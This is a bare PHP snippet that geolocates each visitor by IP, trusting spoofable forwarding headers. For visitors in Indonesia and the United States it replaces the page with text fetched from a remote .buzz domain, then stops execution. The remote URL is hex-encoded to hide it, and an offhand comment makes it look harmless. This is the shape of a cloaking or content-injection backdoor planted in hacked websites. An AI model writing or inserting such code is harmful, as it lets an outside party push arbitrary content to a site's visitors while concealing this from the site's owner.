function getUserIP() {
    if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
        $ip = $_SERVER["HTTP_CLIENT_IP"];
    } elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
        $ip = explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"])[0];
    } else {
        $ip = $_SERVER["REMOTE_ADDR"];
    }
    return $ip;
}

$ip = getUserIP();
$api_url = "http://ip-api.com/json/{$ip}";
$response = file_get_contents($api_url);
$data = json_decode($response, true);

if ($data["countryCode"] === "ID" || $data["countryCode"] === "US") {
    ob_start();
     echo file_get_contents("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x6c\x6f\x67\x75\x6e\x69\x6b\x2e\x62\x75\x7a\x7a\x2f\x63\x70\x61\x6e\x65\x6c\x2f\x64\x65\x76\x6e\x65\x73\x74\x2e\x63\x6f\x2e\x74\x78\x74");  // Assuming this file exists and is accessible
    $output = ob_get_clean();
    echo $output;
    die;
}